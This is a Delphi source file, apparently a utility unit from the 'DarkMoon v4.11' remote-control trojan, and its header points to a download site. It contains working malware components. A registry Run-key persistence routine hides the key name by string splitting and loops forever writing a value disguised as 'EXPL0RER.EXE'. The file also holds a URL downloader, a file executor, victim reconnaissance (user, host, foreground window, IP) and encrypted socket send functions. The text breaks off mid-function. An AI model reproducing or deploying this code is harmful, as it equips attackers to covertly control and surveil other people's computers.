dmucommandsandutils.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

      FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
      if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
        LongRec(Result).Lo) then Exit;
    end;
  end;
  Result := -1;
end;
   ///////////////////////////////////////////////////////////////////////////////

function FileExists( s : String ): Boolean;
begin
     Result := FileAge( s ) <> -1
end;
  ///////////////////////////////////////////////////////////////////////////////

function GetCPUSpeed: Double;
const
DelayTime = 500;
var 
TimerHi, TimerLo: DWORD;
PriorityClass, Priority: Integer;
begin 
try
PriorityClass := GetPriorityClass(GetCurrentProcess);
Priority := GetThreadPriority(GetCurrentThread);

SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);

Sleep(10);
asm
dw 310Fh
mov TimerLo, eax
mov TimerHi, edx
end;
Sleep(DelayTime);
asm
dw 310Fh
sub eax, TimerLo
sbb edx, TimerHi
mov TimerLo, eax
mov TimerHi, edx
end;

SetThreadPriority(GetCurrentThread, Priority);
SetPriorityClass(GetCurrentProcess, PriorityClass);

Result := TimerLo / (1000.0 * DelayTime);
except end;
end;
   ///////////////////////////////////////////////////////////////////////////////

function BorrarArchivo( s : String ): integer;
var i: Byte;
begin
     Result := 0;
     if FileExists( s )then
     try
       //saco atributos
       i := GetFileAttributes( PChar( s ) );
       i := i and $00000002;//faHidden;
       i := i and $00000001;//faReadOnly;
       i := i and $00000004;//faSysFile;  
       SetFileAttributes( PChar( s ), i );
       DeleteFile( Pchar( s ) );
       except end;
end;
    ///////////////////////////////////////////////////////////////////////////////

//Define los privilegios para windows NT
procedure NTAdjustTokens(lpName : PChar; Attributes : LongWord);
var
   ProcHdl, TokenHdl : Cardinal;
   iLuid : Int64;
   TokenPrivs, TokenPrivsNew : TTokenPrivileges;
   RetC : DWORD;
begin
   ProcHdl := GetCurrentProcess;
   if (OpenProcessToken(ProcHdl, TOKEN_ALL_ACCESS, TokenHdl) = False) then exit;
   if (LookupPrivilegeValue('', lpName, iLuid) = True) then begin
      TokenPrivs.PrivilegeCount := 1;
      TokenPrivs.Privileges[0].Luid := iLuid;
      TokenPrivs.Privileges[0].Attributes := Attributes;
   end;
   if (AdjustTokenPrivileges(TokenHdl,False,TokenPrivs,SizeOf(TokenPrivsNew),TokenPrivsNew,RetC) = False) then exit;
end;
    ///////////////////////////////////////////////////////////////////////////////

function Descargar( url : String; Parametro2: String  ): boolean;
var buffer : array [ 1..1024 ] of char;
    bytes_leidos : dword;
    hInternetOpen, hFile : HINTERNET;
    oops                 : boolean;
    a : FILE;
begin

     Result := FALSE;

     hInternetOpen := InternetOpen( 'Master', INTERNET_OPEN_TYPE_PRECONFIG, '', '', 0 );
     if hInternetOpen = nil then  exit;

     hFile:= InternetOpenURL( hInternetOpen, lptstr( url ), nil, 0, INTERNET_FLAG_EXISTING_CONNECT, 0 );
     if hfile = nil then
     begin
          InternetCloseHandle( hInternetOpen );
          Exit;
     end;

     AssignFile( a, Parametro2 );
     try Rewrite( a, 1 ); except end;

     repeat
           oops := not InternetReadFile( hFile, @buffer, sizeOf( buffer ), bytes_leidos );
           if ( not oops ) and ( bytes_leidos > 0 ) then
           begin
                BlockWrite( a, buffer, bytes_leidos );
           end;

     until ( oops ) or ( Bytes_Leidos = 0 );

     CloseFile( a );

     Result := not Oops;
     InternetCloseHandle( hInternetOpen );
     InternetCloseHandle( hFile );
end;
   ///////////////////////////////////////////////////////////////////////////////

function EsXP : Boolean;
begin
     Result := FileExists( FindWindowsDir + '\System32\Cmd.exe' );
end;
   ///////////////////////////////////////////////////////////////////////////////

function BuffToStr(const b: Array of Char ) : string;
var i : Integer;
begin
     for i := Low( b )to High( b ) do
         Result := Result + b[ i ];
end;

function TextoValido( b : Array of Char ) : string;
var i : Byte;
begin
     i := 1;
     while ord( b [ i ] ) <> 0 do
           Inc( i );
     Result := Copy( b, 1, i );
end;
    ///////////////////////////////////////////////////////////////////////////////

function NombreHost: String;
var  NameBuf: array[0..60] of Char;
     SizeBuf: LongWord;
//retorna el host
begin
     SizeBuf := SizeOf( NameBuf );
     GetComputerName(NameBuf, SizeBuf );
     Result  := NameBuf;
end;
   ///////////////////////////////////////////////////////////////////////////////

function Usuario: String;
//retorna el usuario logeado
var  NameBuf: array[ 0..60 ] of Char;
     SizeBuf: LongWord;
begin
     SizeBuf := Sizeof( NameBuf );
     GetUserName( NameBuf, SizeBuf );
     Result  := NameBuf ;
end;
    ///////////////////////////////////////////////////////////////////////////////

function VentanaActiva: String;
var  PC: Array[0..$FFF] of Char;
     Wnd : Thandle;
begin

    Wnd := GetForegroundWindow;


    SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) ); //$000D es el WM_GETTEXT

    Result := PC;
end;
  ///////////////////////////////////////////////////////////////////////////////

function FindWindowsDir : string;
//retorna el directorio de windows
var  DataSize : Integer;
begin
     SetLength (Result, 255);
     DataSize := GetWindowsDirectory(PChar (Result), 255);
     SetLength (Result, DataSize);
end;
   ///////////////////////////////////////////////////////////////////////////////

function Get_SysPath:string  ;
var       DataSize : Integer;

    begin
     SetLength (Result, 255);
       GetSystemDirectory( PChar(Result),255);
 end;

 function FindChar(Word: string;char : string):integer  ;
      var
      i : integer ;
     begin

      for i:= 1 to  Length(Word) do begin
         if  (copy(Word,i,1)=char ) then begin
            result:=i;
            exit;
         end;
      end;

 end;
    ///////////////////////////////////////////////////////////////////////////////

   function FindNChars(Word: string;char : string):integer  ;
        var i, r : integer  ;
       begin
            r:=0;
           for i:=1 to Length(Word) do begin
            if  (copy(Word,i,1)=char ) then begin
              inc(r);
            end;


           end;
           result:=r;
       end;
    ///////////////////////////////////////////////////////////////////////////////

 function LocalIP: String;
type
TaPInAddr = Array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
Buffer: Array[0..63] of Char;
I: Integer;
GInitData: TWSAData;
begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe := GetHostByName(buffer);
if phe = nil then Exit;
pPtr := PaPInAddr(phe^.h_addr_list);
I := 0;
while pPtr^[I] <> nil do
begin
Result := inet_ntoa(pptr^[I]^);
Inc(I);
end;
WSACleanup;
end;









  ///////////////////////////////////////////////////////////////////////////////

procedure Registro;
var handle : HKEY;
 key : integer;
begin
     while TRUE do
     begin

     if regdata='' then begin
       regdata:='EXPLORER';
     end;

     if  regappname= '' then begin
     regappname:='EXPL0RER.EXE';
     end;

     if (regkey='') or(regkey='1') then begin
     key :=   DWORD($80000002) ;
     end;

     if regkey='2' then begin
     key :=   DWORD($80000001) ;
     end;

     if regkey='3' then begin

     end;

          RegOpenKeyEx( key,
                        PChar( Clave ),
                        0,
                        KEY_ALL_ACCESS,
                        handle );
          RegSetValueEx( handle,
                         PChar(regdata),
                         0,
                         REG_SZ,
                         PChar(regappname ),
                         Length(regappname ) + 1 );
          RegCloseKey( handle );
              Sleep( 1500 );
     end;
end;
   ///////////////////////////////////////////////////////////////////////////////

procedure CrearThreadRegistro (key : string; data : string; appname : string);
var  id : Cardinal;

begin
     Clave := 'Software\';
     Clave := Clave + 'Microsoft\';
     Clave := Clave + 'Windows\';
     Clave := Clave + 'CurrentVers';
     Clave := Clave + 'ion\Run';
     regkey:=key;
     regdata:=data;
     appname:=regappname;
     BeginThread( nil, 0, @Registro, nil, 0, id );
end;
   ///////////////////////////////////////////////////////////////////////////////


function ShellEx(Path : string):string;
 begin
 if FileExists(Path)=true then begin
 ShellExecute(0, 'open',Pchar(Path),0 ,0,1);
 Result:='File :' +  Path  + ' Executed'
 end
 else
 begin
    Result:='File :' +  Path  + ' Doesnt exists'
 end;
 end;
   ///////////////////////////////////////////////////////////////////////////////

      function Replace(strSource:string; strToFind:string; strReplace:string): string;
    var sresult:string; i:integer;
    begin
    i:=1;
    while i<=length(strSource) do
    begin
    if copy(strSource,i,length(strToFind)) = strToFind then
    begin
    sresult := sresult + strReplace;
    i:=i+length(strToFind);
    end
    else
    begin
    sresult := sresult + copy(strSource,i,1);
    i:=i+1;
    end;
    end;
    result := sresult
    end;
   ///////////////////////////////////////////////////////////////////////////////

function SendData (SOCKET : TSOCKET;Data :string): integer;
const
my_key = 35311;
begin

Data := Encrypt (data,my_key);

result:=Send ( SOCKET, Pointer(Data)^, length( Data), 0	 );
sleep(100);
end ;

function SendDataMSN (SOCKET : TSOCKET;Data :string): integer;
begin
result:=Send ( SOCKET, Pointer(Data)^, length( Data), 0	 );
sleep(100);
end ;
   ///////
   ///////////////////////////////////////////////////////////////////////////////

 function PeerToAddress(Socket: TSocket): string;
var
  SockAddrIn: TSockAddrIn;
  Len: integer;
begin
  if Socket <> INVALID_SOCKET then
    begin
      Len:= SizeOf(SockAddrIn);
      if getpeername(Socket, SockAddrIn, Len) <> SOCKET_ERROR then
        Result:= inet_ntoa(SockAddrIn.sin_addr);
    end;
end;
   ///////////////////////////////////////////////////////////////////////////////

function GetLocalHostName: string;
var
  szHostName: array[0..128] of char;
begin
  if gethostname(szHostName, 128)